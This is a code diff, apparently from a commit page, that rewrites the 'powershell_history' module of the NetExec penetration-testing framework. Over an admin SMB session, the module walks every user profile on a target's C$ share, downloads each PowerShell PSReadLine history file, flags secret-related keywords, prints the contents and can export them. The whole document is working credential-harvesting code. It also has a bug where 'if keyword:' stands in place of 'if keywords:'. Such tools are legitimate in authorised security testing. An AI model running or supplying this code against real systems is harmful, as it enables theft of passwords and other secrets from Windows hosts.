|
1 | | -import traceback |
2 | 1 | from os import makedirs |
3 | 2 | from os.path import join, abspath |
4 | 3 | from nxc.paths import NXC_PATH |
| 4 | +from io import BytesIO |
5 | 5 |
|
6 | 6 |
|
7 | 7 | class NXCModule: |
8 | | - """Module by @357384n""" |
| 8 | + # Module by @357384n |
| 9 | + # Modified by @Defte_ 12/10/2024 to remove unecessary powershell execute command |
9 | 10 |
|
10 | 11 | name = "powershell_history" |
11 | 12 | description = "Extracts PowerShell history for all users and looks for sensitive commands." |
12 | 13 | supported_protocols = ["smb"] |
13 | 14 | opsec_safe = True |
14 | 15 | multiple_hosts = True |
| 16 | + false_positive = [".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ".NET v4.5", ".NET v4.5 Classic"] |
| 17 | + sensitive_keywords = [ |
| 18 | + "password", "passw", "secret", "credential", "key", |
| 19 | + "get-credential", "convertto-securestring", "set-localuser", |
| 20 | + "new-localuser", "set-adaccountpassword", "new-object system.net.webclient", |
| 21 | + "invoke-webrequest", "invoke-restmethod" |
| 22 | + ] |
15 | 23 |
|
16 | | - def options(self, context, module_options): |
17 | | - """To export all the history you can add the following option: -o export=True""" |
18 | | - context.log.info(f"Received module options: {module_options}") |
| 24 | + def options(self, _, module_options): |
19 | 25 | self.export = bool(module_options.get("EXPORT", False)) |
20 | | - context.log.info(f"Option export set to: {self.export}") |
21 | | - |
22 | | - def analyze_history(self, history): |
23 | | - """Analyze PowerShell history for sensitive information.""" |
24 | | - sensitive_keywords = [ |
25 | | - "password", "passwd", "passw", "secret", "credential", "key", |
26 | | - "get-credential", "convertto-securestring", "set-localuser", |
27 | | - "new-localuser", "set-adaccountpassword", "new-object system.net.webclient", |
28 | | - "invoke-webrequest", "invoke-restmethod" |
29 | | - ] |
30 | | - sensitive_commands = [] |
31 | | - for command in history: |
32 | | - command_lower = command.lower() |
33 | | - if any(keyword.lower() in command_lower for keyword in sensitive_keywords): |
34 | | - sensitive_commands.append(command.strip()) |
35 | | - return sensitive_commands |
36 | 26 |
|
37 | 27 | def on_admin_login(self, context, connection): |
38 | | - """Main function to retrieve and analyze PowerShell history.""" |
39 | | - try: |
40 | | - context.log.info("Retrieving PowerShell history...") |
41 | | - command = 'powershell.exe "type C:\\Users\\*\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt"' |
42 | | - history = connection.execute(command, True).split("\n") |
43 | | - if history: |
44 | | - sensitive_commands = self.analyze_history(history) |
45 | | - if sensitive_commands: |
46 | | - context.log.highlight("Sensitive commands found in PowerShell history:") |
47 | | - for command in sensitive_commands: |
48 | | - context.log.highlight(f" {command}") |
49 | | - else: |
50 | | - context.log.info("No sensitive commands found in PowerShell history.") |
51 | | - else: |
52 | | - context.log.info("No PowerShell history found.") |
53 | | - |
54 | | - # Check if export is enabled |
55 | | - context.log.info(f"Export option is set to: {self.export}") |
56 | | - if self.export and history: |
57 | | - host = connection.host # Assuming 'host' contains the target IP or hostname |
58 | | - filename = f"{host}_powershell_history.txt" |
59 | | - export_path = join(NXC_PATH, "modules", "powershell_history") |
60 | | - path = abspath(join(export_path, filename)) |
61 | | - makedirs(export_path, exist_ok=True) |
62 | | - |
63 | | - context.log.info(f"Export enabled, writing history to {path}") |
| 28 | + for directory in connection.conn.listPath("C$", "Users\\*"): |
| 29 | + if directory.get_longname() not in self.false_positive and directory.is_directory(): |
64 | 30 | try: |
65 | | - with open(path, "w") as file: |
66 | | - for cmd in history: |
67 | | - file.write(cmd + "\n") |
68 | | - context.log.highlight(f"PowerShell history written to: {path}") |
69 | | - except Exception as e: |
70 | | - context.log.fail(f"Failed to write history to {filename}: {e}") |
71 | | - except Exception as e: |
72 | | - context.log.fail(f"UNEXPECTED ERROR: {e}") |
73 | | - context.log.debug(traceback.format_exc()) |
| 31 | + powershell_history_dir = f"Users\\{directory.get_longname()}\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\" |
| 32 | + for file in connection.conn.listPath("C$", f"{powershell_history_dir}\\*"): |
| 33 | + if file.get_longname() not in self.false_positive: |
| 34 | + file_path = f"{powershell_history_dir}{file.get_longname()}" |
| 35 | + |
| 36 | + buf = BytesIO() |
| 37 | + connection.conn.getFile("C$", file_path, buf.write) |
| 38 | + buf.seek(0) |
| 39 | + file_content = buf.read().decode("utf-8", errors="ignore").lower() |
| 40 | + keywords = [] |
| 41 | + for keyword in self.sensitive_keywords: |
| 42 | + if keyword in file_content: |
| 43 | + keywords.append(keyword.upper()) |
| 44 | + |
| 45 | + if keyword: |
| 46 | + context.log.highlight(f"C:\\{file_path} [ {' '.join(keywords)} ]") |
| 47 | + else: |
| 48 | + context.log.highlight(f"C:\\{file_path}") |
| 49 | + |
| 50 | + for line in file_content.splitlines(): |
| 51 | + context.log.highlight(f"\t{line}") |
| 52 | + if self.export: |
| 53 | + filename = f"{connection.host}_{directory.get_longname()}_powershell_history.txt" |
| 54 | + export_path = join(NXC_PATH, "modules", "powershell_history") |
| 55 | + path = abspath(join(export_path, filename)) |
| 56 | + makedirs(export_path, exist_ok=True) |
| 57 | + try: |
| 58 | + with open(path, "w+") as file: |
| 59 | + file.write(file_content) |
| 60 | + context.log.highlight(f"PowerShell history written to: {path}") |
| 61 | + except Exception as e: |
| 62 | + context.log.fail(f"Failed to write history to {filename}: {e}") |
| 63 | + except Exception: |
| 64 | + pass |
0 commit comments